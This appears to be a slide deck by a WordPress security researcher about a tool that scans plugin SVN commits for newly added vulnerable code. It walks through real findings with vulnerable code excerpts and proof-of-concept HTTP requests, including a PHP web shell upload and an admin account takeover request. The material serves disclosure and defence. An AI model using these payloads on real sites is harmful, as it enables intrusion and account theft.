

Catching WordPress 0-Days on the Fly

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TL;DR

Monitor the WordPress open-source repository
for vulnerable code pushes



\$whoami

Vulnerability Researcher @Patchstack
Bug Bounty Hunter



 @dhakal_ananda



Agenda

🌟 Intro to WordPress Ecosystem

🔧 Building the System

💰 Real-World Findings

🧠 Closing Thoughts



WordPress Ecosystem



WordPress Ecosystem

- WordPress Core
- WordPress Plugins
- WordPress Themes

Everything is hosted in the WordPress SVN repository



Everything goes into WordPress SVN



WordPress SVN

A centralised version control system for managing core, plugins and themes

TL;DR: Git for WordPress ecosystem



WordPress SVN


← → ↻ 🏠 ⓘ plugins.svn.wordpress.org/elementor/

- Revision 3356197: /elementor

- [..](#)
- [assets/](#)
- [branches/](#)
- [tags/](#)
- [trunk/](#)


Powered by [Apache Subversion](#) version 1.9.5 (r1770682).





Changesets:

- Have numeric values
- Incremented for each release



Changeset 3397232 – WordPress

plugins.trac.wordpress.org/changeset/3397232/

Plugin Directory

Login

TimelineView TicketsBrowse Source

Changeset 3397232

Timestamp: 11/17/2025 12:42:54 PM (3 days ago)

Author: KingYes

Message: Upload v3.33.1

Location: [elementor/trunk](#)

Files: 7 edited

assets/js/packages/editor-editing-panel/editor-editing-panel.strings.js (2 diffs)

assets/js/packages/editor-site-navigation/editor-site-navigation.strings.js (2 diffs)

changelog.txt (1 diff)

elementor.php (2 diffs)

modules/floating-buttons/module.php (1 diff)

readme.txt (2 diffs)

vendor/composer/installed.php (2 diffs)

View differences inline

Show 2 lines around each change

Show the changes in full context

Ignore:

☐ Blank lines

☐ Case changes

☐ White space changes

Update

☐ Unmodified☒ Added☐ Removed

elementor/trunk/assets/js/packages/editor-editing-panel/editor-editing-panel.strings.js

TabularUnified

r3392901r3397232

7777__('Rename', 'elementor');

7878__('Open CSS Class Menu', 'elementor');

7979__('Inherited from base styles', 'elementor');

8080__('Tabs', 'elementor');

8081__('Default', 'elementor');

......

8687__('Tabs', 'elementor');


8788__('Tabs', 'elementor');

8888__('Inherited from base styles', 'elementor');

8989__('Word spacing', 'elementor');

9090__('Text transform', 'elementor');


Let's grab all the changeset and scan them as soon as they are pushed!



Tool Architecture Overview



Flow of the Tool



Threading Magic



Track SVN Changes

- Store the last processed SVN changeset number locally
- Compare it with the latest revision



Track SVN Changes

```
dhakal_ananda@Anandas-MacBook-Pro ~ % svn log -v -r 3221862:3221863 http://plugins.svn.wordpress.org/ --xml
```

```
<?xml version="1.0" encoding="UTF-8"?>
```

```
<log>
```

```
<logentry
```

```
  revision="3221862">
```

```
<author>woobewoo</author>
```

```
<date>2025-01-13T22:49:57.851981Z</date>
```

```
<paths>
```

```
<path
```

```
  action="M"
```

```
  prop-mods="false"
```

```
  text-mods="true"
```

```
  kind="file">/woo-product-filter/trunk/classes/baseObject.php</path>
```

```
<path
```

```
  action="M"
```

```
  prop-mods="false"
```

```
  text-mods="true"
```

```
  kind="file">/woo-product-filter/trunk/classes/controller.php</path>
```

```
<path
```

```
  action="M"
```

```
  prop-mods="false"
```

```
  text-mods="true"
```

```
  kind="file">/woo-product-filter/trunk/classes/csvgenerator.php</path>
```

```
<path
```

```
  text-mods="true"
```

```
  kind="file"
```

```
  action="M"
```

```
  prop-mods="false">/woo-product-filter/trunk/classes/date.php</path>
```

```
<path
```

```
  text-mods="true"
```

```
  kind="file"
```

```
  action="M"
```

```
  prop-mods="false">/woo-product-filter/trunk/classes/db.php</path>
```

Saved revision

Latest revision

Plugin slug



Check Each SVN Revision

For each revision:

- Extract the plugin slug



Check Each SVN Revision

For each revision:

- Extract the plugin slug
- Get active installations count



Check Each SVN Revision

For each revision:

- Extract the plugin slug
- Get active installations count
- Only proceed forward with 5k+ active installations (for efficiency)



Track SVN Revision Changes

For each changed file inside the revision:

- Skip /tags, /branches, /assets
 - Only focus on /trunk which is the main branch for the latest code
- Only process .php files



Observe Changeset in SVN Revision

For each changeset:

- Open the changeset file



Observe Changeset in SVN Revision

For each changeset:

- Open the changeset file
- Only process added lines i.e, lines starting with “+”



Observe Changeset in SVN Revision

Check lines starting with “+” only:

```
+<?php
+/**
+ * Maps widget class
+ */
+class WpfWoofiltersWidget extends WP_Widget {
+    public function __construct() {
+        $widgetOps = array(
+            'classname' => 'WpfWoofiltersWidget',
+            'description' => 'Displays Filters'
+        );
+        parent::__construct( 'WpfWoofiltersWidget', WPF_WP_PLUGIN_NAME, $widgetOps );
+    }
+    public function widget( $args, $instance ) {
+        if ( is_array( $args ) ) {
+            extract( $args );
+        }
+        extract($instance);
+        FrameWpf::->getModule('woofilters_widget')->getView()->displayWidget($instance, $args);
+    }
+    public function form( $instance ) {
+        extract($instance);
+        FrameWpf::->getModule('woofilters_widget')->getView()->displayForm($instance, $this);
+    }
+    public function update( $new_instance, $old_instance ) {
+        return $new_instance;
+    }
+}
+
Index: woo-product-filter/trunk/modules/woofilters_widget/views/woofilters_widget.php
=====
--- woo-product-filter/trunk/modules/woofilters_widget/views/woofilters_widget.php      (revision 3221861)
+++ woo-product-filter/trunk/modules/woofilters_widget/views/woofilters_widget.php      (revision 3221862)
```



Observe Changeset in SVN Revision

For each changeset:

- Open the changeset file
- Only process added lines i.e, lines starting with “+”
- Search for WP and PHP sensitive functions



Observe Changeset in SVN Revision

Search for WP and PHP sensitive functions



Observe Changeset in SVN Revision

For each changeset:

- Open the changeset file
- Only process added lines i.e, lines starting with “+”
- Search for WP and PHP sensitive functions
- If matches, get the changeset link and trigger slack webhook



Findings in the Wild



#1 Account Takeover



Account Takeover



Patchstack APP Apr 3rd at 11:24 PM



Sensitive functions found in changeset 3265451 on plugin **password-policy-manager** with 5,000+ active installations

- <https://plugins.trac.wordpress.org/changeset/3265451/password-policy-manager/trunk/miniorange-password-policy-setting.php>: ['update_user_meta']
- <https://plugins.trac.wordpress.org/changeset/3265451/password-policy-manager/trunk/handler/class-moppmfeedbackhandler.php>: ['wp_set_auth_cookie', 'wp_set_current_user']

Code Push: April 02, 2025 06:48 AM

Slack Alert: April 03, 2025 05:39 PM



Account Takeover

[password-policy-manager/trunk/handler/class-mopppmfeedbackhandler.php](#)

Tabular | Unified

r2880229r3265451

```
15 15 */
16 16 class MOPPMFeedbackHandler {
17
18 18 /**
19 19  * Construct function.
20 20
21 21  public function __construct() {
22 22      add_action( 'admin_init', array( $this, 'mopppm_feedback_actions' ) );
23 23      add_action( 'init', array( $this, 'mopppm_pass2login_redirect' ) );
24 24  }
25
26 26  /**
27 27  * Logs in the users.
28 28  *
29 29  * @return void
30 30  */
31 31  public function mopppm_pass2login_redirect(){
32 32      $nonce = isset( $_POST['mopppm_login_nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['mopppm_login_nonce'] ) ) :
null;
33 33      if ( ! wp_verify_nonce( $nonce, 'mopppm-login-nonce' ) ) {
34 34          return;
35 35      }
36 36      $user_id = isset( $_POST['mopppm_userid'] ) ? sanitize_text_field( wp_unslash( $_POST['mopppm_userid'] ) ) : '';
37 37      $currentuser = get_user_by( 'id', $user_id );
38 38      do_action( 'miniorange_post_authenticate_user_login', $currentuser, '', null );
39 39      wp_set_current_user( $user_id, $currentuser->user_login );
40 40      delete_expired_transients( true );
41 41      wp_set_auth_cookie( $user_id, true );
42 42      wp_safe_redirect( home_url());
43 43      exit;
44
45 45  }
46 46  /**
```



r2880229r3265451

```
15 15 */
16 16 class MOPPPMFeedbackHandler {
17 17
18 18 /**
19 19  * Construct function.
20 20
21 21 public function __construct() {
22 22     add_action( 'admin_init', array( $this, 'mopppm_feedback_actions' ) );
23 23     add_action( 'init', array( $this, 'mopppm_pass2login_redirect' ) );
24 24 }
25 25
26 26 /**
27 27  * Logs in the users.
28 28  *
29 29  * @return void
30 30  */
31 31 public function mopppm_pass2login_redirect(){
32 32     $nonce = isset( $_POST['mopppm_login_nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['mopppm_login_nonce'] ) ) :
null;
33 33     if ( ! wp_verify_nonce( $nonce, 'mopppm-login-nonce' ) ) {
34 34         return;
35 35     }
36 36     $user_id = isset( $_POST['mopppm_userid'] ) ? sanitize_text_field( wp_unslash( $_POST['mopppm_userid'] ) ) : '';
37 37     $currentuser = get_user_by( 'id', $user_id );
38 38     do_action( 'miniorange_post_authenticate_user_login', $currentuser, '', null );
39 39     wp_set_current_user( $user_id, $currentuser->user_login );
40 40     delete_expired_transients( true );
41 41     wp_set_auth_cookie( $user_id, true );
42 42     wp_safe_redirect( home_url());
43 43     exit;
44 44 }
45 45 /**
```

Unauth hook

r2880229r3265451

```
15 15 */
16 16 class MOPPPMFeedbackHandler {
17 17
18 18 /**
19 19  * Construct function.
20 20
21 21 public function __construct() {
22 22     add_action( 'admin_init', array( $this, 'mopppm_feedback_actions' ) );
23 23     add_action( 'init', array( $this, 'mopppm_pass2login_redirect' ) );
24 24 }
25 25
26 26 /**
27 27  * Logs in the users.
28 28  *
29 29  * @return void
30 30  */
31 31 public function mopppm_pass2login_redirect(){
32 32     $nonce = isset( $_POST['mopppm_login_nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['mopppm_login_nonce'] ) ) :
null;
33 33     if ( ! wp_verify_nonce( $nonce, 'mopppm-login-nonce' ) ) {
34 34         return;
35 35     }
36 36     $user_id = isset( $_POST['mopppm_userid'] ) ? sanitize_text_field( wp_unslash( $_POST['mopppm_userid'] ) ) : '';
37 37     $currentuser = get_user_by( 'id', $user_id );
38 38     do_action( 'miniorange_post_authenticate_user_login', $currentuser, '', null );
39 39     wp_set_current_user( $user_id, $currentuser->user_login );
40 40     delete_expired_transients( true );
41 41     wp_set_auth_cookie( $user_id, true );
42 42     wp_safe_redirect( home_url());
43 43     exit;
44 44 }
45 45 /**
```


Unauth hook

Subscriber accessible

r2880229r3265451

```
15 15 */
16 16 class MOPPPMFeedbackHandler {
17 17
18 18 /**
19 19  * Construct function.
20 20
21 21 public function __construct() {
22 22     add_action( 'admin_init', array( $this, 'mopppm_feedback_actions' ) );
23 23     add_action( 'init', array( $this, 'mopppm_pass2login_redirect' ) );
24 24 }
25 25
26 26 /**
27 27  * Logs in the users.
28 28  *
29 29  * @return void
30 30  */
31 31 public function mopppm_pass2login_redirect(){
32 32     $nonce = isset( $_POST['mopppm_login_nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['mopppm_login_nonce'] ) ) :
null;
33 33     if ( ! wp_verify_nonce( $nonce, 'mopppm-login-nonce' ) ) {
34 34         return;
35 35     }
36 36     $user_id = isset( $_POST['mopppm_userid'] ) ? sanitize_text_field( wp_unslash( $_POST['mopppm_userid'] ) ) : '';
37 37     $currentuser = get_user_by( 'id', $user_id );
38 38     do_action( 'miniorange_post_authenticate_user_login', $currentuser, '', null );
39 39     wp_set_current_user( $user_id, $currentuser->user_login );
40 40     delete_expired_transients( true );
41 41     wp_set_auth_cookie( $user_id, true );
42 42     wp_safe_redirect( home_url());
43 43     exit;
44 44 }
45 45 /**
```

Takes the ID from user and logs in



Account Takeover

Request

PrettyRawHex

1 GET /?mopppm_login_nonce=NONCE_FROM_SUBSCRIBER&mopppm_userid=1 HTTP/1.1

2 Host: localhost:8000

3 Cookie: sub=xxx;

4 Connection: keep-alive

5

6

Response

PrettyRawHexRender

1 HTTP/1.1 200 OK

2 Date: Thu, 04 Sep 2025 10:21:28 GMT

3 Server: Apache/2.4.57 (Debian)

4 X-Powered-By: PHP/8.2.17

5 Set-Cookie: wordpress_70490311fe7c84acda8886406a6d884b=wordpress%7C1757154092%7CASBYKfaZ20iQ0tgrbuw0ozqv5ySXhhyJSRD6hrVgu8N%7Ce0cfbadd6a823d0f4b6dd7b0a7e2632955be8fa57d4d640702dbd17798ded5b7; path=/wp-content/plugins; HttpOnly

6 Set-Cookie: wordpress_70490311fe7c84acda8886406a6d884b=wordpress%7C1757154092%7CASBYKfaZ20iQ0tgrbuw0ozqv5ySXhhyJSRD6hrVgu8N%7Ce0cfbadd6a823d0f4b6dd7b0a7e2632955be8fa57d4d640702dbd17798ded5b7; path=/wp-admin; HttpOnly

7 Set-Cookie: wordpress_logged_in_70490311fe7c84acda8886406a6d884b=wordpress%7C1757154092%7CASBYKfaZ20iQ0tgrbuw0ozqv5ySXhhyJSRD6hrVgu8N%7Cd71e45af265030627191b80101574cbcaeb51e7126c753cbd76ca1d26ad225c2; path=/; HttpOnly

8 Expires: Wed, 11 Jan 1984 05:00:00 GMT

9 Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private

10 Link: <http://localhost:8000/wp-json/>; rel="https://api.w.org/"

11 Vary: Accept-Encoding

12 Keep-Alive: timeout=5, max=100

13 Connection: Keep-Alive



#2 PHP Object Injection



PHP Object Injection

WordPress WpEvently Plugin <= 4.3.6 is vulnerable to PHP Object Injection



Medium priority

vPatch available



<= 4.3.6

Vulnerable version



4.3.7

Fixed version



Plugin



Active VDP

08 April 2025 by Patchstack

Risks **CVSS 8.8**

This vulnerability is moderately dangerous and expected to become exploited.

8.8

PHP Object Injection

This could allow a malicious actor to execute code injection, SQL injection, path traversal, denial of service, and more if a proper POP chain is present.



PHP Object Injection

```
86
87
88     // public static function data_sanitiz($data) {
89     //     if (is_string($data)) {
90     //         // Sanitize string: remove tags, slashes, and unsafe characters
91     //         $data = sanitize_text_field(stripslashes(strip_tags($data)));
92     //     }
93     //     elseif (is_array($data)) {
94     //         // Recursively sanitize each value
95     //         foreach ($data as $key => $value) {
96     //             $data[$key] = self::data_sanitiz($value);
97     //         }
98     //     }
99     //     elseif (is_object($data)) {
100    //         // If object – convert to array and sanitize
101    //         $data = (array) $data;
102    //         $data = self::data_sanitiz($data);
103    //     }
104    //     // Other types (int, float, bool) – leave as is
105    //     return $data;
106    // }
```

CVE-2025-32145: Patch changelog



PHP Object Injection

Once upon a time...



Patchstack APP Jul 10th at 2:30 PM



Sensitive functions found in changeset 3325443 on plugin **mage-eventpress** with 8,000+ active installations

- https://plugins.trac.wordpress.org/changeset/3325443/mage-eventpress/trunk/inc/global/MP_Global_Function.php: ['unserialize']

Code Push: July 10, 2025 08:12 AM

Slack Alert: July 10, 2025 08:45 AM



PHP Object Injection

Commented part got removed:

```
91 // public static function data_sanitize($data) {
92 //     $data = maybe_unserialize($data);
93 //     if (is_string($data)) {
94 //         $data = maybe_unserialize($data);
95 //         if (is_array($data)) {
96 //             $data = self::data_sanitize($data);
97 //         }
98 //         else {
99 //             $data = sanitize_text_field(stripslashes(strip_tags($data)));
100 //         }
101 //     }
102 //     elseif (is_array($data)) {
103 //         foreach ($data as &$amp;$value) {
104 //             if (is_array($value)) {
105 //                 $value = self::data_sanitize($value);
106 //             }
107 //             else {
108 //                 $value = sanitize_text_field(stripslashes(strip_tags($value)));
109 //             }
110 //         }
111 //     }
112 //     return $data;
113 // }
```

PHP Object Injection

```
133 public static function data_sanitize($data) {
134     if (is_string($data)) {
102     public static function get_submit_info( $key, $default = '' ) {
103         return self::data_sanitize( $_POST[ $key ] ?? $default );
104     }
105
106     public static function get_submit_info_get_method( $key, $default = '' ) {
107         return self::data_sanitize( $_GET[ $key ] ?? $default );
108     }
109
110     public static function data_sanitize( $data ) {
111         if ( is_serialized( $data ) ) {
112             $data = unserialize( $data );
113             $data = self::data_sanitize( $data );
114         } elseif ( is_string( $data ) ) {
135         // Sanitize string: remove tags, slashes, and unsafe characters
136         $data = sanitize_text_field(stripslashes(strip_tags($data)));
137     }
138     elseif (is_array($data)) {
116         $data = sanitize_text_field( stripslashes( strip_tags( $data ) ) );
117     } elseif ( is_array( $data ) ) {
139     // Recursively sanitize each value
140     foreach ($data as $key => $value) {
141         $data[$key] = self::data_sanitize($value);
142     }
143 }
```

← Re-introduced

PHP Object Injection

Patchstack research team: Vendor pushing
same vuln code again:



imgflip.com



#3 Arbitrary File Upload



Arbitrary File Upload

 **Patchstack** APP Apr 3rd at 7:31 PM

 Sensitive functions found in changeset 3259506 on plugin **wpvr** with **10,000+** active installations

- <https://plugins.trac.wordpress.org/changeset/3259506/wpvr/trunk/admin/classes/class-wpvr-ajax.php>: ['move_uploaded_file', '\\\$_FILES']

Code Push: March 21, 2025 04:27 AM

Slack Alert: April 03, 2025 01:46 PM



Arbitrary File Upload

wpvr/trunk/admin/classes/class-wpvr-ajax.php

Tabular | Unified

r325198&r3259506

```
351     wp_send_json($response);
352 }
353
354 //===Nonce check===//
WPVR_Import::prepare_tour_import_feature();
355
356 $file_name = '';
357
358 if ( isset( $_FILES['wpvr_import_file'] ) && ! empty( $_FILES['wpvr_import_file']['tmp_name'] ) ) {
359     $file = $_FILES['wpvr_import_file'];
360
361     // Get WordPress uploads directory
362     $upload_dir = wp_upload_dir();
363     $temp_folder = $upload_dir['basedir'] . '/wpvr_imported_temp';
364
365     // Create temp folder if it doesn't exist
366     if ( ! file_exists( $temp_folder ) ) {
367         wp_mkdir_p( $temp_folder );
368     }
369
370     $file_name = basename( $file['name'] );
371
372     // Define target file path inside temp folder
373     $target_file = $temp_folder . '/' . basename( $file['name'] );
374
375     move_uploaded_file( $file['tmp_name'], $target_file );
376
377 } else {
378     wp_send_json_error( array( 'message' => 'No file selected.' ) );
379 }
380
381 //===Nonce check===//
WPVR_Import::prepare_tour_import_feature($file_name);
382 }
```



Arbitrary File Upload

```
333 public function wpvr_file_import()  
334 {  
335     ////Current user capabilities check////  
336     if (!current_user_can('edit_posts')) {  
337         $response = array(  
338             'success' => false,  
339             'data' => 'Permission denied.'  
340         );  
341         wp_send_json($response);  
342     }  
343     ////Current user capabilities check////  
344     ////Nonce check////  
345     $nonce = sanitize_text_field($_POST['nonce']);  
346     if (!wp_verify_nonce($nonce, 'wpvr')) {  
347         $response = array(  
348             'success' => false,  
349             'data' => 'Permission denied.'  
350         );  
351         wp_send_json($response);  
352     }  
353  
354     $file_name = '';  
355  
356     if ( isset( $_FILES['wpvr_import_file'] ) && ! empty( $_FILES['wpvr_import_file']['tmp_name'] ) ) {  
357         $file = $_FILES['wpvr_import_file'];
```

‘edit_posts’ permission = contributor user



Arbitrary File Upload

```
333 public function wpvr_file_import()  
334 {  
335     ////Current user capabilities check////  
336     if (!current_user_can('edit_posts')) {  
337         $response = array(  
338             'success' => false,  
339             'data' => 'Permission denied.'  
340         );  
341         wp_send_json($response);  
342     }  
343     ////Current user capabilities check////  
344     ////Nonce check////  
345     $nonce = sanitize_text_field($_POST['nonce']);  
346     if (!wp_verify_nonce($nonce, 'wpvr')) {  
347         $response = array(  
348             'success' => false,  
349             'data' => 'Permission denied.'  
350         );  
351         wp_send_json($response);  
352     }  
353     $file_name = '';  
354       
355       
356     if ( isset( $_FILES['wpvr_import_file'] ) && ! empty( $_FILES['wpvr_import_file']['tmp_name'] ) ) {  
357         $file = $_FILES['wpvr_import_file'];
```

'edit_posts' permission = contributor user

added code



Arbitrary File Upload

```
Request
Pretty Raw Hex
1 POST /wp-admin/admin-ajax.php HTTP/1.1
2 Host: localhost
3 Cookie: con=xxx;
4 Connection: keep-alive
5 Content-Type: multipart/form-data;
  boundary=----WebKitFormBoundaryYPaCYaoVekU0kxMu
6 Content-Length: 444
7
8 -----WebKitFormBoundaryYPaCYaoVekU0kxMu
9 Content-Disposition: form-data; name="nonce"
10
11 nonce_from_js
12 -----WebKitFormBoundaryYPaCYaoVekU0kxMu
13 Content-Disposition: form-data; name="action"
14
15 wpvr_file_import
16 -----WebKitFormBoundaryYPaCYaoVekU0kxMu
17 Content-Disposition: form-data; name="
  wpvr_import_file"; filename="pwn.php"
18 Content-Type: text/plain
19
20 <?php echo system($_GET["pwn"]); ?>
21 -----WebKitFormBoundaryYPaCYaoVekU0kxMu--
```



#4 Arbitrary Plugin Installation



Arbitrary Plugin Installation



Patchstack APP 3:30 PM



Sensitive functions found in changeset 3220079 on plugin rometheme-for-elementor with 20,000+ active installations

- <https://plugins.trac.wordpress.org/changeset/3220079/rometheme-for-elementor/trunk/modules/template/template.php>: ['unlink', 'file_put_contents']

Code Push: Jan 10, 2025 09:22 AM

Slack Alert: Jan 10, 2025 09:45 AM



Arbitrary Plugin Installation

27

```
add_action('wp_ajax_install_requirements', [$this, 'install_requirements']);
```

subscriber+ user can
access

```
500 public function install_requirements()
501 {
502     include_once ABSPATH . 'wp-admin/includes/plugin.php';
503     include_once ABSPATH . 'wp-admin/includes/file.php';
504     include_once ABSPATH . 'wp-admin/includes/misc.php';
505     include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
506
507     $plugin = $_POST['plugin'];
508     $plugin_file = WP_PLUGIN_DIR . '/' . $plugin;
509     $plugin_slug = dirname($plugin);
510
511     if (file_exists($plugin_file)) {
512         // Activate the plugin if already installed but inactive
513         ob_start();
514         activate_plugin($plugin);
515         ob_clean();
516         ob_end_clean();
517         wp_send_json_success("Install and Activate Successfully");
518     } else {
519         ob_start();
520         $plugin_download_url = "https://downloads.wordpress.org/plugin/{$plugin_slug}.latest-stable.zip"; // Adjust URL structure
521         $upgrader = new \Plugin_Upgrader();
522         $result = $upgrader->install($plugin_download_url);
523
524         if (is_wp_error($result)) {
525             wp_send_json_error();
526         }
527         $activate_result = activate_plugin($plugin);
528         if (is_wp_error($activate_result)) {
529             wp_send_json_error('Plugin installed but failed to activate: ' . $activate_result->get_error_message());
530         }
531
532         wp_send_json_success('Plugin installed and activated successfully.');
```



Arbitrary Plugin Installation

Request

Pretty Raw Hex



```
1 POST /wp-admin/admin-ajax.php HTTP/1.1
2 Host: localhost:8000
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101
  Firefox/143.0
4 Accept: text/html, */*; q=0.01
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Referer: http://localhost:8000/wp-admin/
8 X-Requested-With: XMLHttpRequest
9 Connection: keep-alive
10 Cookie: sub=cookiless;
11 Content-Type: application/x-www-form-urlencoded
12 Content-Length: 37
13
14 action=install_requirements&plugin=xx
```



Arbitrary Plugin Installation

But what's the problem with that?



Arbitrary Plugin Installation

- A lot of abandoned plugins
- A lot of plugins closed for security reasons
- Not accessible from wordpress.org but exists in the SVN repo



#5 Unauth Account Takeover



Unauth Account Takeover



Patchstack APP 2:45 PM



Sensitive functions found in changeset 3278794 on plugin **payu-india** with **7,000+** active installations

- <https://plugins.trac.wordpress.org/changeset/3278794/payu-india/trunk/includes/class-payu-verify-payment.php>: ['unserialize']
- <https://plugins.trac.wordpress.org/changeset/3278794/payu-india/trunk/includes/class-payu-shipping-tax-api-calculation.php>: ['wp_set_auth_cookie', 'wp_set_current_user']

Code Push: April 22, 2025 08:51 AM

Slack Alert: April 22, 2025 09:00 AM



Unauth Account Takeover

```
209     if (is_user_logged_in()) {
210         $current_user = wp_get_current_user();
211         $user_id = $current_user->ID;
212         wp_set_current_user($user_id);
213         wp_set_auth_cookie($user_id);
214     } elseif (!empty($user_id)) {
215         // Set session for already created/registered user
216         wp_set_current_user($user_id);
217         wp_set_auth_cookie($user_id);
218     }
219
220     WC()->cart->calculate_totals();
```



Unauth Account Takeover

```
209     if (is_user_logged_in()) {
210         $current_user = wp_get_current_user();
211         $user_id = $current_user->ID;
212         wp_set_current_user($user_id);
213         wp_set_auth_cookie($user_id);
214     } elseif (!empty($user_id)) {
215         // Set session for already created/registered user
216         wp_set_current_user($user_id);
217         wp_set_auth_cookie($user_id);
218     }
219
220     WC()->cart->calculate_totals();
```



Unauth Account Takeover

```
209     if (is_user_logged_in()) {
210         $current_user = wp_get_current_user();
211         $user_id = $current_user->ID;
212         wp_set_current_user($user_id);
213         wp_set_auth_cookie($user_id);
214     } elseif (!empty($user_id)) {
215         // Set session for already created/registered user
216         wp_set_current_user($user_id);
217         wp_set_auth_cookie($user_id);
218     }
219
220     WC()->cart->calculate_totals();
```

Hunting down the \$user_id



Unauth Account Takeover

update_cart_data()



handleValidToken()



POST
/payu/v1/get-shipping-cost

Full article:

patchstack.com/articles/unpatched-account-takeover-in-payu-commercepro/



Epic Fails



Patches and Patches!

Exciting?



Patchstack APP 2:30 PM



Sensitive functions found in changeset 3321020 on plugin **essential-real-estate** with 9,000+ active installations

- <https://plugins.trac.wordpress.org/changeset/3321020/essential-real-estate/trunk/includes/widgets/acf/templates/edit.php>: ['include']
- <https://plugins.trac.wordpress.org/changeset/3321020/essential-real-estate/trunk/includes/widgets/acf/templates/new.php>: ['include']
- <https://plugins.trac.wordpress.org/changeset/3321020/essential-real-estate/trunk/lib/smart-framework/inc/helper.class.php>: ['include']

Patches and Patches!



**DANGEROUS
FUNCTION DETECTED**



**THE DEVELOPER
INTRODUCED A VULN, RIGHT?**



INTRODUCED A VULN, RIGHT?

Patches and Patches!

Not only new vulns, but we saw a lot of patches in the changelog too!

```
10 if (!defined('ABSPATH')) {
11     exit; // Exit if accessed directly
12 }
8 13 ?>
9 14 <div class="widget_acf_wrap" id="<?php echo esc_attr($data_section_wrap) ?>">
10
11 15 <!-- begin init extra fields -->
12 16 <?php
13 17 if (isset($extras) && is_array($extras)) {
14 18     foreach ($extras as $extra) {
15         $field_type = $extra['type'];
16         $field_name = $extra['name'];
17         $field_title = $extra['title'];
19         $field_type = isset($extra['type']) ? sanitize_text_field(wp_unslash($extra['type'])) : 'text';
20         $field_name = isset($extra['name']) ? sanitize_text_field(wp_unslash($extra['name'])) : '';
21         $field_title = isset($extra['title']) ? sanitize_text_field(wp_unslash($extra['title'])) : '';
18 22 $field_output_id = $this->widget->get_field_id($field_name);
19 23 $field_output_name = $this->widget->get_field_name('extra') . '[' . $field_name . ']';
...
35 39 $allow_clear = array_key_exists('allow_clear', $extra) && isset($extra['allow_clear']) ? $extra['allow_clear'] :
36 40 '0';
37 $multiple = array_key_exists('multiple', $extra) && isset($extra['multiple']) ? true : false;
38
include($plugin_path . '/templates/' . $field_type . '.php');
```



Found-and-patched

Checking this after a week of backlog



Patchstack

APP

May 12th at 9:30 AM



Sensitive functions found in changeset 3291489 on plugin **smtp2go** with **20,000+** active installations

•

<https://plugins.trac.wordpress.org/changeset/3291489/smtp2go/trunk/app/WordpressPluginAdmin.php>: ['fputcsv']



Found-and-patched

Vulnerable to CSRF [truncate logs]:

[smtp2go/trunk/app/WordpressPluginAdmin.php](#)

Tabular | Unified

r3200397r3291489

61	61	\$this->version = \$version;
62	62	\$this->checkForConflictingPlugins();
	63	
64		if (!empty(\$_GET['download']) && \$_GET['download'] === 'csv') {
65		\$this->downloadLogs();
66		}
67		
68		if (!empty(\$_GET['truncate_logs'])) {
69		\$this->truncateLogs();
70		}
71		}
72		



Found-and-patched

Checking the latest changelog:

[smtp2go/trunk/app/WordpressPluginAdmin.php](#)

Tabular | Unified

r3291489r3292866

60	60	\$this->plugin_name = \$plugin_name;
61	61	\$this->version = \$version;
	62	//wrap in check is_admin() ?
62	63	\$this->checkForConflictingPlugins();
63	64	
64		if (!empty(\$_GET['download']) && \$_GET['download'] === 'csv') {
65		\$this->downloadLogs();
66		}
67		
68		if (!empty(\$_GET['truncate_logs'])) {
69		\$this->truncateLogs();
70		}
	65	



Found-and-patched



Ananda Dhakal 9:42 PM

i knew this would happen one day. found a csrf from [#vuln-monitor-code](#) but the vulnerable code is not there anymore in the latest version 😂

CSRF vuln introduced (4 days ago): <https://plugins.trac.wordpress.org/changeset/3291489/smtp2go/trunk/app/WordpressPluginAdmin.php>

CSRF patched (41 hours ago): <https://plugins.trac.wordpress.org/changeset/3292866/smtp2go/trunk>

<https://patchstackteam.slack.com/archives/C081NHHAUP2/p1747021520940539>



Patchstack



Sensitive functions found in changeset 3291489 on plugin smtp2go with 20,000+ active installations

•

<https://plugins.trac.wordpress.org/changeset/3291489/smtp2go/trunk/app/WordpressPluginAdmin.php>: ['fputcsv']

Thread in [# vuln-monitor-code](#) | May 12th | [View message](#)



1



1



Problems with the approach?

- A lot of false-positives
- Limited keywords for the scan



What next?

- Implement a SAST tool?
- SAST + AI to filter results?



Thank you!

